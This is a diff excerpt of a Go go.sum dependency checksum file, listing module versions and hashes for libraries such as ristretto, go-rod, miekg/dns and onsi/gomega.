github.com/dgraph-io/ristretto v0.0.3 h1:jh22xisGBjrEVnRZ1DVTpBVQm0Xndu8sMl0CWDzSIBI=
github.com/dgraph-io/ristretto v0.0.3/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13 h1:fAjc9m62+UWV/WAFKLNi6ZS0675eEUC9y3AlwSbQu1Y=
github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
github.com/dimchansky/utfbom v1.1.1 h1:vV6w1AhK4VMnhBno/TPVCoK9U/LP0PkLCS9tbxHdi/U=
github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
github.com/dsnet/compress v0.0.1 h1:PlZu0n3Tuv04TzpfPbrnI0HW/YwodEXDS+oPKahKF0Q=
github.com/dsnet/compress v0.0.1/go.mod h1:Aw8dCMJ7RioblQeTqt88akK31OvO8Dhf5JflhBbQEHo=
github.com/dsnet/golib v0.0.0-20171103203638-1ea166775780/go.mod h1:Lj+Z9rebOhdfkVLjJ8T6VcRQv3SXugXy999NBtR9aFY=
github.com/dustin/go-humanize v1.0.0 h1:VSnTsYCnlFHaM2/igO1h6X3HA71jcobQuxemgkq4zYo=
github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
github.com/eggsampler/acme/v3 v3.2.1 h1:Lfsrg3M2zt00QRnizOFzdpSfsS9oDvPsGrodXS/w1KI=
github.com/eggsampler/acme/v3 v3.2.1/go.mod h1:/qh0rKC/Dh7Jj+p4So7DbWmFNzC4dpcpK53r226Fhuo=
github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
github.com/fatih/structs v1.0.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/structs v1.1.0 h1:Q7juDM0QtcnhCpeyLGQKyg4TOIghuNXrkL32pHAUMxo=
github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M=
github.com/fsnotify/fsnotify v1.4.7 h1:IXs+QLmnXW2CcXuY+8Mzv/fWEsPGWxqefPtCP5CnV9I=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/fsnotify/fsnotify v1.4.9 h1:hsms1Qyu0jgnwNXIxa+/V/PDsU6CfLf6CNO8H7IWoS4=
github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-ole/go-ole v1.2.5 h1:t4MGB5xEDZvXI+0rMjjsfBsD7yAgp/s9ZDkL1JndXwY=
github.com/go-ole/go-ole v1.2.5/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
github.com/go-redis/redis v6.15.5+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
github.com/go-rod/rod v0.91.1 h1:7xIlC/bXCXosZqZUl2x6GVB8tv4yMQ4W/ZVdGVa1qYI=
github.com/go-rod/rod v0.91.1/go.mod h1:/W4lcZiCALPD603MnJGIvhtywP3R6yRB9EDfFfsHiiI=
github.com/golang-jwt/jwt v3.2.1+incompatible h1:73Z+4BJcrTC+KczS6WvTPvRGOp1WmfEP4Q1lOd9Z/+c=
github.com/golang-jwt/jwt v3.2.1+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e h1:1r7pUrabqp18hOBcwBwiTsbnFeTZHV9eER/QT5JVZxY=
github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
@ -103,11 +167,13 @@ github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:W
github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0=
github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8=
github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM=
github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw=
github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v0.0.2 h1:aeE13tS0IiQgFjYdoL8qN3K1N2bXXtI6Vi51/y7BpMw=
github.com/golang/snappy v0.0.2/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/golang/snappy v0.0.3 h1:fHPg5GQYlCeLIPB9BZqMVR5nR9A+IM5zcgeTdjMYmLA=
github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
@ -116,19 +182,20 @@ github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMyw
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.1 h1:JFrFEBb2xKufg6XkJsJr+WbKb4FQlURi5RUcBveYu9k=
github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-github v17.0.0+incompatible h1:N0LgJ1j65A7kfXrZnUDaYCs/Sf4rEjNlfyDHW9dolSY=
github.com/google/go-github v17.0.0+incompatible/go.mod h1:zLgOLi98H3fifZn+44m+umXrS52loVEgC2AApnigrVQ=
github.com/google/go-github/v32 v32.1.0 h1:GWkQOdXqviCPx7Q7Fj+KyPoGm4SwHRh8rheoPhd27II=
github.com/google/go-github/v32 v32.1.0/go.mod h1:rIEpZD9CTDQwDK9GDrtMTycQNA4JU3qBsCizh3q2WCI=
github.com/google/go-querystring v0.0.0-20170111101155-53e6ce116135/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/go-querystring v1.0.0 h1:Xkwi/a1rcvNg1PPYe5vI8GbeBY/jrVuDX5ASuANWTrk=
github.com/google/go-querystring v1.0.0/go.mod h1:odCYkC5MyYFN7vkCjXpyrEuKhc/BUO6wN/zVPAxq5ck=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0=
github.com/google/pprof v0.0.0-20181127221834-b4f47329b966/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
@ -137,41 +204,65 @@ github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hf
github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/gosuri/uilive v0.0.4 h1:hUEBpQDj8D8jXgtCdBu7sWsy5sbW/5GhuO8KBwJ2jyY=
github.com/gosuri/uilive v0.0.4/go.mod h1:V/epo5LjjlDE5RJUcqx8dbw+zc93y5Ya3yg8tfZ74VI=
github.com/gosuri/uiprogress v0.0.1 h1:0kpv/XY/qTmFWl/SkaJykZXrBBzwwadmW8fRb7RJSxw=
github.com/gosuri/uiprogress v0.0.1/go.mod h1:C1RTYn4Sc7iEyf6j8ft5dyoZ4212h8G1ol9QQluh5+0=
github.com/hashicorp/go-cleanhttp v0.5.1 h1:dH3aiDG9Jvb5r5+bYHsikaOUIpcM0xvgMXVoDkXMzJM=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-cleanhttp v0.5.2 h1:035FKYIWjmULyFRBKPs8TBQoi0x6d9G4xc9neXJWAZQ=
github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48=
github.com/hashicorp/go-hclog v0.9.2 h1:CG6TE5H9/JXsFWJCfoIVpKFIkFe6ysEuHirp4DxCsHI=
github.com/hashicorp/go-hclog v0.9.2/go.mod h1:5CU+agLiy3J7N7QjHK5d05KxGsuXiQLrjA0H7acj2lQ=
github.com/hashicorp/go-retryablehttp v0.6.4/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY=
github.com/hashicorp/go-retryablehttp v0.6.8 h1:92lWxgpa+fF3FozM4B3UZtHZMJX8T5XT+TFdCxsPyWs=
github.com/hashicorp/go-retryablehttp v0.6.8/go.mod h1:vAew36LZh98gCBJNLH42IQ1ER/9wtLZZ8meHqQvEYWY=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hooklift/assert v0.1.0 h1:UZzFxx5dSb9aBtvMHTtnPuvFnBvcEhHTPb9+0+jpEjs=
github.com/hooklift/assert v0.1.0/go.mod h1:pfexfvIHnKCdjh6CkkIZv5ic6dQ6aU2jhKghBlXuwwY=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/iancoleman/orderedmap v0.0.0-20190318233801-ac98e3ecb4b0 h1:i462o439ZjprVSFSZLZxcsoAe592sZB1rci2Z8j4wdk=
github.com/iancoleman/orderedmap v0.0.0-20190318233801-ac98e3ecb4b0/go.mod h1:N0Wam8K1arqPXNWjMo21EXnBPOPp36vB07FNRdD2geA=
github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/itchyny/go-flags v1.5.0/go.mod h1:lenkYuCobuxLBAd/HGFE4LRoW8D3B6iXRQfWYJ+MNbA=
github.com/itchyny/gojq v0.12.4 h1:8zgOZWMejEWCLjbF/1mWY7hY7QEARm7dtuhC6Bp4R8o=
github.com/itchyny/gojq v0.12.4/go.mod h1:EQUSKgW/YaOxmXpAwGiowFDO4i2Rmtk5+9dFyeiymAg=
github.com/itchyny/timefmt-go v0.1.3 h1:7M3LGVDsqcd0VZH2U+x393obrzZisp7C0uEe921iRkU=
github.com/itchyny/timefmt-go v0.1.3/go.mod h1:0osSSCQSASBJMsIZnhAaF1C2fCBTJZXrnj37mG8/c+A=
github.com/jasonlvhit/gocron v0.0.1 h1:qTt5qF3b3srDjeOIR4Le1LfeyvoYzJlYpqvG7tJX5YU=
github.com/jasonlvhit/gocron v0.0.1/go.mod h1:k9a3TV8VcU73XZxfVHCHWMWF9SOqgoku0/QlY2yvlA4=
github.com/json-iterator/go v1.1.10 h1:Kz6Cvnvv2wGdaG/V8yMvfkmNiXq9Ya2KUv4rouJJr68=
github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k=
github.com/jpillora/backoff v0.0.0-20180909062703-3050d21c67d7/go.mod h1:2iMrUgbbvHEiQClaW2NsSzMyGHqN+rDFqY705q49KG0=
github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/json-iterator/go v1.1.11 h1:uVUAXhF2To8cbw/3xN3pxj6kk7TYKs98NIrTqPlMWAQ=
github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jstemmer/go-junit-report v0.9.1/go.mod h1:Brl9GWCQeLvo8nXZwPNNblvFj/XSXhF0NWZEnDohbsk=
github.com/julienschmidt/httprouter v1.3.0 h1:U0609e9tgbseu3rBINet9P48AI/D3oJs4dN7jwJOQ1U=
github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM=
github.com/karlseguin/ccache v2.0.3+incompatible h1:j68C9tWOROiOLWTS/kCGg9IcJG+ACqn5+0+t8Oh83UU=
github.com/karlseguin/ccache v2.0.3+incompatible/go.mod h1:CM9tNPzT6EdRh14+jiW8mEF9mkNZuuE51qmgGYUB93w=
github.com/karlseguin/ccache/v2 v2.0.7 h1:y5Pfi4eiyYCOD6LS/Kj+o6Nb4M5Ngpw9qFQs+v44ZYM=
github.com/karlseguin/ccache/v2 v2.0.7/go.mod h1:2BDThcfQMf/c0jnZowt16eW405XIqZPavt+HoYEtcxQ=
github.com/karlseguin/ccache/v2 v2.0.8 h1:lT38cE//uyf6KcFok0rlgXtGFBWxkI6h/qg4tbFyDnA=
github.com/karlseguin/ccache/v2 v2.0.8/go.mod h1:2BDThcfQMf/c0jnZowt16eW405XIqZPavt+HoYEtcxQ=
github.com/karlseguin/expect v1.0.2-0.20190806010014-778a5f0c6003 h1:vJ0Snvo+SLMY72r5J4sEfkuE7AFbixEP2qRbEcum/wA=
github.com/karlseguin/expect v1.0.2-0.20190806010014-778a5f0c6003/go.mod h1:zNBxMY8P21owkeogJELCLeHIt+voOSduHYTFUbwRAV8=
github.com/karrick/godirwalk v1.16.1 h1:DynhcF+bztK8gooS0+NDJFrdNZjJ3gzVzC545UNA9iw=
github.com/karrick/godirwalk v1.16.1/go.mod h1:j4mkqPuvaLI8mp1DroR3P6ad7cyYd4c1qeJ3RV7ULlk=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
github.com/klauspost/compress v1.4.1 h1:8VMb5+0wMgdBykOV96DwNwKFQ+WTI4pzYURP99CcB9E=
github.com/klauspost/compress v1.4.1/go.mod h1:RyIbtBH6LamlWaDj8nUwkbUhJ87Yi3uG0guNDohfE1A=
github.com/klauspost/cpuid v1.2.0 h1:NMpwD2G9JSFOE1/TJjGSo5zG7Yb2bTe7eq1jH+irmeE=
github.com/klauspost/cpuid v1.2.0/go.mod h1:Pj4uuM528wm8OyEC2QMXAi2YiTZ96dNQPGgoMS4s3ek=
github.com/klauspost/pgzip v1.2.5 h1:qnWYvvKqedOF2ulHpMG72XQol4ILEJ8k2wwRl/Km8oE=
github.com/klauspost/pgzip v1.2.5/go.mod h1:Ch1tH69qFZu15pkjo5kYi6mth2Zzwzt50oCQKQE9RUs=
github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc=
github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo=
github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pretty v0.2.1 h1:Fmg33tUaq4/8ym9TJN1x7sLJnHVwhP33CNkpYV/7rwI=
github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI=
github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ=
@ -181,16 +272,22 @@ github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
github.com/logrusorgru/aurora v0.0.0-20200102142835-e9ef32dff381/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/logrusorgru/aurora v2.0.3+incompatible h1:tOpm7WcpBTn4fjmVfgpQq0EfczGlG91VSDkswnjF5A8=
github.com/logrusorgru/aurora v2.0.3+incompatible/go.mod h1:7rIyQOR62GCctdiQpZ/zOJlFyk6y+94wXzv6RNZgaR4=
github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ=
github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ=
github.com/mattn/go-colorable v0.1.2/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=
github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
github.com/mattn/go-isatty v0.0.13 h1:qdl+GuBjcsKKDco5BsxPJlId98mSWNKqYA+Co0SC1yA=
github.com/mattn/go-isatty v0.0.13/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/mattn/go-runewidth v0.0.10 h1:CoZ3S2P7pvtP45xOtBw+/mDL2z0RKI576gSkzRRpdGg=
github.com/mattn/go-runewidth v0.0.10/go.mod h1:RAqKPSqVFrSLVXbA8x7dzmKdmGzieGRCM46jaSJTDAk=
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b/go.mod h1:01TrycV0kFyexm33Z7vhZRXopbI8J3TDReVlkTgMUxE=
github.com/miekg/dns v1.1.29/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.35/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.38 h1:MtIY+fmHUVVgv1AXzmKMWcwdCYxTRPG1EDjpqF4RCEw=
github.com/miekg/dns v1.1.38/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM=
github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI=
github.com/miekg/dns v1.1.43 h1:JKfpVSCB84vrAmHzyrsxB5NAr5kLoMXZArPSw7Qlgyg=
github.com/miekg/dns v1.1.43/go.mod h1:+evo5L0630/F6ca/Z9+GAqzhjGyn8/c+TBaOyfEl0V4=
github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0=
github.com/mitchellh/go-ps v1.0.0 h1:i6ampVEEF4wQFF+bkYfwYgY+F/uYJDktmvLPf7qIgjc=
github.com/mitchellh/go-ps v1.0.0/go.mod h1:J4lOc8z8yJs6vUwklHw2XEIiT4z4C40KtWVN3nvg8Pg=
github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y=
github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd h1:TRLaZ9cD/w8PVh93nsPXa1VrQ6jlwL5oN8l14QlcNfg=
github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q=
@ -198,74 +295,126 @@ github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lN
github.com/modern-go/reflect2 v1.0.1 h1:9f412s+6RmYXLWZSEzVVgPGK7C2PphHj5RJrvfx9AWI=
github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0=
github.com/ngdinhtoan/glide-cleanup v0.2.0/go.mod h1:UQzsmiDOb8YV3nOsCxK/c9zPpCZVNoHScRE3EO9pVMM=
github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.10.1 h1:q/mM8GF/n0shIN8SaAZ0V+jnLPzen6WIVZdiwrRlMlo=
github.com/onsi/ginkgo v1.10.1/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
github.com/onsi/ginkgo v1.15.0 h1:1V1NfVQR87RtWAgp1lv9JZJ5Jap+XFGKPi00andXGi4=
github.com/onsi/ginkgo v1.15.0/go.mod h1:hF8qUzuuC8DJGygJH3726JnCZX4MYbRB8yFfISqnKUg=
github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.7.0 h1:XPnZz8VVBHjVsy1vzJmRwIcSwiUO+JFfrv/xGiigmME=
github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
github.com/onsi/gomega v1.7.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
